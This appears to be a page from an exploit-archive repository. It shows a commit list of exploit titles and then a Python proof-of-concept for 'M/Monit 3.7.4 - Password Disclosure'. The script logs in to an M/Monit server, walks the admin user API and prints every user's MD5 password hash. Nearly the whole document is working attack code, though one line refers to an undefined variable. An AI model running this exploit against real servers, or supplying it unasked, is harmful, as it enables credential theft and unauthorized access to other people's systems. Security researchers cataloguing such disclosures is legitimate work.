21fa83f241
12 changes to exploits/shellcodes Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC) Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection PESCMS TEAM 2.3.2 - Multiple Reflected XSS Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification xuucms 3 - 'keywords' SQL Injection Gitlab 12.9.0 - Arbitrary File Read (Authenticated) TestBox CFML Test Framework 4.1.0 - Arbitrary File Write and Remote Code Execution TestBox CFML Test Framework 4.1.0 - Directory Traversal Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection M/Monit 3.7.4 - Privilege Escalation M/Monit 3.7.4 - Password Disclosure Nagios Log Server 2.1.7 - Persistent Cross-Site Scripting
45 lines
No EOL
1.1 KiB
Python
Executable file
45 lines
No EOL
1.1 KiB
Python
Executable file
# Title: M/Monit 3.7.4 - Password Disclosure
|
|
# Author: Dolev Farhi
|
|
# Date: 2020-07-09
|
|
# Vendor Homepage: https://mmonit.com/
|
|
# Version : 3.7.4
|
|
|
|
import sys
|
|
import requests
|
|
|
|
url = 'http://your_ip_here:8080'
|
|
username = 'test'
|
|
password = 'test123'
|
|
|
|
sess = requests.Session()
|
|
sess.get(host)
|
|
|
|
def login():
|
|
print('Attempting to login...')
|
|
data = {
|
|
'z_username':username,
|
|
'z_password':password
|
|
}
|
|
headers = {
|
|
'Content-Type':'application/x-www-form-urlencoded'
|
|
}
|
|
|
|
resp = sess.post(url + '/z_security_check', data=data, headers=headers)
|
|
if resp.ok:
|
|
print('Logged in successfully.')
|
|
else:
|
|
print('Could not login.')
|
|
sys.exit(1)
|
|
|
|
def steal_hashes():
|
|
resp = sess.get(url + '/api/1/admin/users/list')
|
|
if resp.ok:
|
|
for i in resp.json():
|
|
mmonit_user = i['uname']
|
|
result = sess.get(url + '/api/1/admin/users/get?uname={}'.format(mmonit_user))
|
|
mmonit_passw = result.json()['password']
|
|
print('Stolen MD5 hash. User: {}, Hash: {}'.format(mmonit_user, mmonit_passw))
|
|
|
|
if __name__ == '__main__':
|
|
login()
|
|
steal_hashes() |